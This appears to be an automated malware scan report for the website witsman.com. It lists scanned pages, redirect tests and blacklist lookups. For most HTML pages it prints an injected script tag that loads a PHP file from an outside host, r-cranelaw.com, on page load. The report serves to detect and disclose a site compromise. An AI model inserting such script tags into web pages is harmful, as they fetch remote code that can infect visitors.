Scanned pages/files
Request | Server response | Status |
http://witsman.com/ | 200 OK Content-Length: 4685 Content-Type: text/html | suspicious |
Suspicious code found <script src="http://www.r-cranelaw.com/ahcltd.net/3d3uvX9h.php?id=24650407" type="text/javascript"></script> | ||
http://witsman.com/McCordsville.htm | 200 OK Content-Length: 5048 Content-Type: text/html | suspicious |
Suspicious code found <script src="http://www.r-cranelaw.com/ahcltd.net/3d3uvX9h.php?id=24650405" type="text/javascript"></script> | ||
http://witsman.com/McCordTownStandards.htm | 200 OK Content-Length: 6489 Content-Type: text/html | suspicious |
Suspicious code found <script src="http://www.r-cranelaw.com/ahcltd.net/3d3uvX9h.php?id=24650403" type="text/javascript"></script> | ||
http://witsman.com/McCordSanitary.htm | 200 OK Content-Length: 4134 Content-Type: text/html | suspicious |
Suspicious code found <script src="http://www.r-cranelaw.com/ahcltd.net/3d3uvX9h.php?id=24650401" type="text/javascript"></script> | ||
http://witsman.com/McCordStorm.htm | 200 OK Content-Length: 6858 Content-Type: text/html | suspicious |
Suspicious code found <script src="http://www.r-cranelaw.com/ahcltd.net/3d3uvX9h.php?id=24650402" type="text/javascript"></script> | ||
http://witsman.com/McCordTransportation.htm | 200 OK Content-Length: 5603 Content-Type: text/html | suspicious |
Suspicious code found <script src="http://www.r-cranelaw.com/ahcltd.net/3d3uvX9h.php?id=24650404" type="text/javascript"></script> | ||
http://witsman.com/McCordMaps.htm | 200 OK Content-Length: 4292 Content-Type: text/html | suspicious |
Suspicious code found <script src="http://www.r-cranelaw.com/ahcltd.net/3d3uvX9h.php?id=24650400" type="text/javascript"></script> | ||
http://witsman.com/McCordLinks.htm | 200 OK Content-Length: 4870 Content-Type: text/html | suspicious |
Suspicious code found <script src="http://www.r-cranelaw.com/ahcltd.net/3d3uvX9h.php?id=24650399" type="text/javascript"></script> | ||
http://witsman.com/index.htm | 200 OK Content-Length: 4685 Content-Type: text/html | suspicious |
Suspicious code found <script src="http://www.r-cranelaw.com/ahcltd.net/3d3uvX9h.php?id=24650407" type="text/javascript"></script> | ||
http://witsman.com/services.htm | 200 OK Content-Length: 3882 Content-Type: text/html | suspicious |
Suspicious code found <script src="http://www.r-cranelaw.com/ahcltd.net/3d3uvX9h.php?id=24650410" type="text/javascript"></script> | ||
http://witsman.com/Links.htm | 200 OK Content-Length: 4294 Content-Type: text/html | suspicious |
Suspicious code found <script src="http://www.r-cranelaw.com/ahcltd.net/3d3uvX9h.php?id=24650398" type="text/javascript"></script> | ||
http://witsman.com/test404page.js | 404 Not Found Content-Length: 2109 Content-Type: text/html | clean |
http://pagead2.googlesyndication.com/pagead/show_ads.js | 200 OK Content-Length: 21308 Content-Type: text/javascript | clean |
http://witsman.com/Maps/Interceptor 2011 Study Area.pdf | 200 OK Content-Length: 258207 Content-Type: application/pdf | clean |
http://witsman.com/Maps/Master Plan 2011 Basins.pdf | 200 OK Content-Length: 299879 Content-Type: application/pdf | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: witsman.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Sun, 05 Oct 2014 20:06:13 GMT
Accept-Ranges: bytes
ETag: "3be0607-124d-4ecdbf1271b51"
Server: Apache/2.2.19 (Unix) mod_ssl/2.2.19 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Content-Length: 4685
Content-Type: text/html
Last-Modified: Fri, 06 Dec 2013 11:28:14 GMT
...4685 bytes of data.
GET / HTTP/1.1
Host: witsman.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Sun, 05 Oct 2014 20:06:13 GMT
Accept-Ranges: bytes
ETag: "3be0607-124d-4ecdbf1271b51"
Server: Apache/2.2.19 (Unix) mod_ssl/2.2.19 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Content-Length: 4685
Content-Type: text/html
Last-Modified: Fri, 06 Dec 2013 11:28:14 GMT
...4685 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: witsman.com
Referer: http://www.google.com/search?q=witsman.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: witsman.com
Referer: http://www.google.com/search?q=witsman.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=witsman.com
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://witsman.com/
Result: witsman.com is not infected or malware details are not published yet.
Result: witsman.com is not infected or malware details are not published yet.